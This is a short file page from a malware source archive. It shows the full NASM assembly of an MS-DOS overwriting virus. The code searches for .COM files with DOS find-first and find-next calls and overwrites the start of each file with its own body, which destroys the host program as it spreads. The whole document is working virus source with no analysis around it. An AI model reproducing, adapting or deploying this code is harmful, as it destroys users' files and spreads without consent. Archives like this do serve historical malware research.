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vxug-MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow3.asm
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18 lines
450 B
NASM

Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main